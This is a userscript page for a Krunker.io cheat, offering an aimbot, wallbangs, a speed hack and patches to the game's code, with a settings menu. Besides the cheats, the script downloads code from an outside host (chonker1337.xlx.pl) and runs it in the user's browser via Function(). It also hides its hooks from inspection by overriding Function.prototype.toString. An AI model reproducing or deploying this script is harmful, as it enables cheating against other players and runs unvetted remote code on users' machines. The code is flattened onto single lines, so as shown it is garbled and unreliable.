Greasy Fork is available in English.
Made By GamingGurusOfficial
// ==UserScript==// @name gpu aimh@cks script dll apk js on cheats public patch v2// @namespace skidlamer.github.io// @author chonker1337// @iconURL https://i.imgur.com/QkEcRaR.png// @match *://krunker.io/*// @description Made By GamingGurusOfficial// @run-at document-start// @grant none// @version 0.0.1.20201009201425// ==/UserScript==// i got bored of obfuscating so im just releasing it raw// hope it wont get skiddedif (localStorage.gpuaimhaxsettngs === "undefined")localStorage.gpuaimhaxsettngs = "";(function() {function req(url) {let xreq = new XMLHttpRequest()xreq.open("GET", url, false)xreq.setRequestHeader("Cache-Control", "no-cache")xreq.send(null)return xreq.responseText.slice(xreq.responseText.indexOf("/*start*/"), xreq.responseText.indexOf("//end"))}let wsdata;if (localStorage.wsdata) {wsdata = JSON.parse(localStorage.wsdata);delete localStorage.wsdata;} else {let cheatSttngsSafe = localStorage.gpuaimhaxsettngsdelete localStorage.gpuaimhaxsettngswindow.fetch("https://api.countapi.xyz/hit/chonker1337.xlx.pl/cheat2").then()const decodeURIComponent = window.decodeURIComponent;const exec = RegExp.prototype.exec;const toClean = new WeakMap()let _tostr = Function.prototype.toString;Function.prototype.toString = function toString() {if (toClean.has(this)) {return _tostr.apply(toClean.get(this), arguments)}return _tostr.apply(this, arguments)}toClean.set(Function.prototype.toString, _tostr)let _json = Response.prototype.jsonlet hookedJson = Response.prototype.json = function json() {return _json.apply(this, arguments).then(obj => {if (obj.clientId && obj.host) {console.log(obj)localStorage.wsdata = JSON.stringify(obj)document.open();document.write(`<h1 style="text-align:center; background:green; color:white; font-size:48px; padding: 25px; font-family:sans-serif">LOADING CHEAT...</h1>`);document.close();localStorage.gpuaimhaxsettngs = cheatSttngsSafewindow.location.reload()throw new Error()}return obj;})}toClean.set(hookedJson, _json)const hookedIframes = new WeakSet()let _contentWindowGet = Object.getOwnPropertyDescriptor(HTMLIFrameElement.prototype, "contentWindow").get;let newGet = function contentWindow() {if(arguments.callee.caller && arguments.callee.caller.toString().includes("recaptcha")) return _contentWindowGet.apply(this)let contentWindow = _contentWindowGet.apply(this)if (hookedIframes.has(contentWindow)) {return contentWindow}if (!contentWindow) {return contentWindow}let _json = contentWindow.Response.prototype.json;contentWindow.Response.prototype.json = function json() {return hookedJson.apply(this, arguments)}toClean.set(contentWindow.Response.prototype.json, _json);let _tostr2 = contentWindow.Function.prototype.toString;contentWindow.Function.prototype.toString = function toString() {if (toClean.has(this)) {return _tostr2.apply(toClean.get(this), arguments)}return _tostr2.apply(this, arguments)}toClean.set(contentWindow.Function.prototype.toString, _tostr2)let _newGet = function contentWindow() {return newGet.apply(this, arguments)}Object.defineProperty(contentWindow.HTMLIFrameElement.prototype, "contentWindow", {get: _newGet,configurable: true,})toClean.set(_newGet, _contentWindowGet)hookedIframes.add(contentWindow)return contentWindow}Object.defineProperty(HTMLIFrameElement.prototype, "contentWindow", {get: newGet,configurable: true,})toClean.set(newGet, _contentWindowGet)return}{let _now=Date.now;Date.now=()=>_now()*(cheat.settings.speedHack?1.2:1)}let xreq = new XMLHttpRequest()Function(req("https://chonker1337.xlx.pl/1.php"))()window.cheat = {settings: {aimbot: 1,staticWeaponZoom: true,wallbangs: true,alwaysAim: false,pitchHack: 1,thirdPerson: false,autoReload: true,speedHack: true,rangeCheck: true,nameTags: true,},state: {quickscopeCanShoot: true,},gui: {},math: {getDir: function(x1, y1, x2, y2) {return Math.atan2(y1 - y2, x1 - x2);},getDistance: function(x1, y1, x2, y2) {return Math.sqrt((x2 -= x1) * x2 + (y2 -= y1) * y2);},getD3D: function(x1, y1, z1, x2, y2, z2) {const dx = x1 - x2, dy = y1 - y2, dz = z1 - z2;return Math.sqrt(dx * dx + dy * dy + dz * dz);},getAngleDst: function(a, b) {return Math.atan2(Math.sin(b - a), Math.cos(a - b));},getXDire: function(x1, y1, z1, x2, y2, z2) {const h = Math.abs(y1 - y2), dst = this.getD3D(x1, y1, z1, x2, y2, z2);return (Math.asin(h / dst) * ((y1 > y2) ? -1 : 1));},lineInRect: function(lx1, lz1, ly1, dx, dz, dy, x1, z1, y1, x2, z2, y2) {const t1 = (x1 - lx1) * dx, t2 = (x2 - lx1) * dx, t3 = (y1 - ly1) * dy;const t4 = (y2 - ly1) * dy, t5 = (z1 - lz1) * dz, t6 = (z2 - lz1) * dz;const tmin = Math.max(Math.max(Math.min(t1, t2), Math.min(t3, t4)), Math.min(t5, t6));const tmax = Math.min(Math.min(Math.max(t1, t2), Math.max(t3, t4)), Math.max(t5, t6));return (tmax < 0 || tmin > tmax) ? false : tmin;},getCanSee: function(game, from, toX, toY, toZ, boxSize) {if (!game || !from) return 0;boxSize = boxSize || 0;const cameraHeight = 1.5;for (let obj, dist = this.getD3D(from.x, from.y, from.z, toX, toY, toZ), xDr = this.getDir(from.z, from.x, toZ, toX), yDr = this.getDir(this.getDistance(from.x, from.z, toX, toZ), toY, 0, from.y), dx = 1 / (dist * Math.sin(xDr - Math.PI) * Math.cos(yDr)), dz = 1 / (dist * Math.cos(xDr - Math.PI) * Math.cos(yDr)), dy = 1 / (dist * Math.sin(yDr)), yOffset = from.y + (from.height || 0) - cameraHeight, i = 0; i < game.map.manager.objects.length; ++i)if (!(obj = game.map.manager.objects[i]).noShoot && /*obj.active &&*/ !obj.transparent) {const tmpDst = this.lineInRect(from.x, from.z, yOffset, dx, dz, dy, obj.x - Math.max(0, obj.width - boxSize), obj.z - Math.max(0, obj.length - boxSize), obj.y - Math.max(0, obj.height - boxSize), obj.x + Math.max(0, obj.width - boxSize), obj.z + Math.max(0, obj.length - boxSize), obj.y + Math.max(0, obj.height - boxSize));if (tmpDst && 1 > tmpDst) return tmpDst;}const terrain = game.map.terrain;if (terrain) {const terrainRaycast = terrain.raycast(from.x, -from.z, yOffset, 1 / dx, -1 / dz, 1 / dy);if (terrainRaycast) return this.getD3D(from.x, from.y, from.z, terrainRaycast.x, terrainRaycast.z, -terrainRaycast.y);}return null;}},}if (localStorage.gpuaimhaxsettngs) {Object.assign(cheat.settings, JSON.parse(localStorage.gpuaimhaxsettngs))} else {localStorage.gpuaimhaxsettngs = JSON.stringify(cheat.settings)}Object.defineProperty(Object.prototype, "thirdPerson", {get() {return cheat.settings.thirdPerson}})function getGuiHtml() {function createCheckbox(name, settingName, description = "", needsRestart = false) {return `<div class="settName" title="${description}">${name} ${needsRestart ? "<span style=\"color: #eb5656\">*</span>" : ""}<label class="switch" style="margin-left:10px"><input type="checkbox" onclick='cheat.gui.setSetting("${settingName}", this.checked)' ${cheat.settings[settingName]?"checked":""}><span class="slider"></span></label></div>`}function createSelect(name, settingName, options, description = "", needsRestart = false) {let built = `<div class="settName" title="${description}">${name} ${needsRestart ? "<span style=\"color: #eb5656\">*</span>" : ""}<select onchange='cheat.gui.setSetting("${settingName}", parseInt(this.value))' class="inputGrey2">`let i = 0;for (const option in options) {if (options.hasOwnProperty(option))built += `<option value="${options[option]}" ${cheat.settings[settingName] == options[option]?"selected":""}>${option}</option>,`}return built + "</select></div>"}let built = `<div id="settHolder"><h3>OP AIMh@x js userscrtips no downalod</h3><h5>Made by chonker1337, skidded and stolen by izioid.<br>Join <a href="https://discord.gg/9Xq6m3J">Gaming Gurus</a> for more hacks.<br></h5><p style="font-size: 14px;margin: 10px">This hack isn't mean to make you slightly better in game. It's meant to make you ####ing insane, so expect to get banned if you play with high level players. Also, don't ask me to add options like frustum check or aim assist</p><br>`built += createSelect("Aimbot", "aimbot", {"None": 0,"Quickscope": 1,"Silent aim": 2,})built += createSelect("Pitch hax", "pitchHack", {"Disabled": 0,"Downward": 1,"Upward": 2,"sin(time)": 3,"sin(time/5)": 4,"double": 5,"random": 6,}, "Only use with aimbot on")built += createCheckbox("Nametags", "nameTags")built += createCheckbox("Wallbangs", "wallbangs")built += createCheckbox("Always aim", "alwaysAim", "Makes you slower and jump lower, but the aimbot can start shooting at enemies much faster. Only use if ur good at bhopping")built += createCheckbox("Auto reload", "autoReload")built += createCheckbox("Speed hack", "speedHack", "Makes you 1.2x faster")built += createCheckbox("Third person mode", "thirdPerson")built += createCheckbox("No weapon zoom", "staticWeaponZoom", "Removes the distracting weapon zoom animation")built += createCheckbox("Aimbot range check", "rangeCheck")return built+"</div>"}function initGUI() {function createButton(name, iconURL, fn) {const menu = document.querySelector("#menuItemContainer"),menuItem = document.createElement("div"),menuItemIcon = document.createElement("div"),menuItemTitle = document.createElement("div");menuItem.className = "menuItem"menuItemIcon.className = "menuItemIcon"menuItemTitle.className = "menuItemTitle"menuItemTitle.innerHTML = namemenuItemIcon.style.backgroundImage = `url("https://i.imgur.com/QkEcRaR.png")`menuItem.append(menuItemIcon, menuItemTitle)menu.append(menuItem)menuItem.addEventListener("click", fn)}cheat.gui.setSetting = function(setting, value) {cheat.settings[setting] = value;localStorage.gpuaimhaxsettngs = JSON.stringify(cheat.settings)}cheat.gui.windowIndex = window.windows.length+1;cheat.gui.settings = {aimbot: {val: cheat.settings.aimbot}}cheat.gui.windowObj = {header: "CH33T",html: "",gen() {return getGuiHtml();}};Object.defineProperty(window.windows, windows.length, {value: cheat.gui.windowObj})createButton("CH33TS", GM_info.script.icon, () => {window.showWindow(cheat.gui.windowIndex)})}function setVars(script) {cheat.vars = {}const regexes = new Map().set("inView", [/if\(!\w+\['(\w+)']\)continue/, 1]).set("canSee", [/\w+\['(\w+)']\(\w+,\w+\['x'],\w+\['y'],\w+\['z']\)\)&&/, 1]).set("procInputs", [/this\['(\w+)']=function\((\w+),(\w+),\w+,\w+\){(this)\['recon']/, 1]).set("aimVal", [/this\['(\w+)']-=0x1\/\(this\['weapon']\['\w+']\/\w+\)/, 1]).set("pchObjc", [/0x0,this\['(\w+)']=new \w+\['Object3D']\(\),this/, 1]).set("didShoot", [/--,\w+\['(\w+)']=!0x0/, 1]).set("nAuto", [/'Single\\x20Fire','varN':'(\w+)'/, 1]).set("crouchVal", [/this\['(\w+)']\+=\w\['\w+']\*\w+,0x1<=this\['\w+']/, 1]).set("recoilAnimY", [/this\['(\w+)']=0x0,this\['recoilForce']=0x0/, 1]).set("ammos", [/\['length'];for\(\w+=0x0;\w+<\w+\['(\w+)']\['length']/, 1]).set("weaponIndex", [/\['weaponConfig']\[\w+]\['secondary']&&\(\w+\['(\w+)']==\w+/, 1]).set("objInstances", [/\w+\['genObj3D']\(0x0,0x0,0x0\);if\(\w+\['(\w+)']=\w+\['genObj3D']/, 1]).set("getWorldPosition", [/{\w+=\w+\['camera']\['(\w+)']\(\);/, 1]).set("mouseDownL", [/this\['\w+'\]=function\(\){this\['(\w+)'\]=\w*0,this\['(\w+)'\]=\w*0,this\['\w+'\]={}/, 1]).set("mouseDownR", [/this\['(\w+)']=0x0,this\['keys']=/, 1]).set("reloadTimer", [/this\['(\w+)']-=\w+,\w+\['reloadUIAnim']/, 1]).set("maxHealth", [/this\['health']\/this\['(\w+)']\?/, 1]).set("xVel", [/this\['x']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedX']/, 1]).set("yVel", [/this\['y']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedY']/, 1]).set("zVel", [/this\['z']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedZ']/, 1])for (const [name, arr] of regexes) {let found = arr[0].exec(script);if (!found) {alert("Failed to find " + name);cheat.vars[name] = null;} else {//console.log("Found ", name, " - ", found[arr[1]]);cheat.vars[name] = found[arr[1]];}}}function patch(gameCode) {let additionalPatches = Function("return "+req("https://chonker1337.xlx.pl/2.php"))()for (let i = 0; i < additionalPatches.length; i++) {try {gameCode = gameCode.replace(additionalPatches[i][0], additionalPatches[i][1])} catch (e) {}}// nametagsgameCode = gameCode.replace(/if\((!\w+\['\w+'])\)continue;/, "if($1&&!cheat.settings.nameTags)continue;");// wallbangsgameCode = gameCode.replace(/!(\w+)\['transparent']/, "$&& (!cheat.settings.wallbangs || !$1.penetrable )")// weapon zoomgameCode = gameCode.replace(/(if\(this\['weapon']\['zoom'])/, window.cheat.settings.staticWeaponZoom ? "$1=1" : "$1")// aimbot (procinputs)gameCode = gameCode.replace(/(this\['\w+']=function\(\w+,\w+,\w+,\w+\){)(this\['recon'])/, "$1{\n"+`const [input, game, recon, lock] = arguments, me = this, key = {frame: 0,delta: 1,ydir: 2,xdir: 3,moveDir: 4,shoot: 5,scope: 6,jump: 7,crouch: 8,reload: 9,weaponScroll: 10,weaponSwap: 11,moveLock: 12};if (cheat.settings.autoReload && me[cheat.vars.ammos][me[cheat.vars.weaponIndex]] === 0)input[key.reload] = 1;if (cheat.settings.pitchHack)switch (cheat.settings.pitchHack) {case 1:input[key.xdir] = -Math.PI*500break;case 2:input[key.xdir] = Math.PI*500break;case 3:input[key.xdir] = Math.sin(Date.now() / 50) * Math.PI * 500break;case 4:input[key.xdir] = Math.sin(Date.now() / 250) * Math.PI * 500break;case 5:input[key.xdir] = input[key.frame] % 2 ? Math.PI*500 : -Math.PI*500break;case 6:input[key.xdir] = (Math.random() * Math.PI - Math.PI/2) * 1000break;}game.players.list.forEach(v=>v.pos={x:v.x,y:v.y,z:v.z})let target = game.players.list.filter(enemy => {return !enemy.isYTMP && enemy.hasOwnProperty('pos') && ((me.team === null || enemy.team !== me.team) && enemy.health > 0 && enemy[cheat.vars.inView])}).sort((p1, p2) => cheat.math.getDistance(me.x, me.z, p1.pos.x, p1.pos.z) - cheat.math.getDistance(me.x, me.z, p2.pos.x, p2.pos.z)).shift();if (target && cheat.settings.aimbot && (cheat.math.getD3D(me.x, me.y, me.z, target.x, target.y, target.z) <= me.weapon.range || !cheat.settings.rangeCheck) && !me[cheat.vars.reloadTimer]) {const yDire = (cheat.math.getDir(me.z, me.x, target.pos.z, target.pos.x) || 0) * 1000const xDire = ((cheat.math.getXDire(me.x, me.y, me.z, target.pos.x, target.pos.y - target[cheat.vars.crouchVal] * 3 + me[cheat.vars.crouchVal] * 3, target.pos.z) || 0) - (0.3 * me[cheat.vars.recoilAnimY])) * 1000if (cheat.settings.aimbot === 2)input[key.scope] = 1;if ( /* me.weapon[cheat.vars.nAuto] && */ me[cheat.vars.didShoot]) {input[key.shoot] = 0;cheat.state.quickscopeCanShoot = false;setTimeout(() => {cheat.state.quickscopeCanShoot = true;}, me.weapon.rate);} else if (cheat.state.quickscopeCanShoot) {input[key.scope] = 1;if (!me[cheat.vars.aimVal] || me.weapon.noAim) {input[key.ydir] = yDireinput[key.xdir] = xDireinput[key.shoot] = 1;}}}if (cheat.settings.alwaysAim) input[key.scope] = 1;if (cheat.settings.pitchHack === 1 && input[key.jump] && (me.weapon.name === "Shotgun" || me.weapon.name === "Sawed Off")) {input[key.shoot] = 1}`+"};$2")return gameCode}window.gameCodeInit = function(script) {return setVars(script), patch(script)}// custom loader thingwindow.addEventListener("load", () => {let itv = setInterval(() => {if (window.windows) {clearInterval(itv);initGUI();}}, 200);})window.fetch = new Proxy(fetch, {apply(target, thisArg, argArray) {if (argArray[0].includes("/seek-game")) {return Promise.resolve({json() {return Promise.resolve(wsdata)},status: 200,statusText: "",ok: true,})}return target.apply(thisArg, argArray);}})let observer = new MutationObserver(mutations => {for (const mutation of mutations) {for (let node of mutation.addedNodes) {if (node.tagName === 'SCRIPT' && node.type === "text/javascript" && node.innerHTML.includes("Yendis Entertainment")) {node.innerHTML = `fetch("https://krunker.io/social.html").then(resp => resp.text()).then(text => fetch("https://krunker.io/pkg/krunker."+/\\w.exports="(\\w+)"/.exec(text)[1]+".vries")).then(resp => resp.arrayBuffer()).then(buf => {let vries = new Uint8Array(buf);let xor = vries[0] ^ 33;return new TextDecoder().decode(vries.map(b => b^xor))}).then(gamejs => Function("__LOADER__mmTokenPromise", "/* Loader made by chonker1337 */ "+window.gameCodeInit(gamejs))(Promise.resolve("hello kpal")))`}}}});observer.observe(document, {childList: true,subtree: true});})();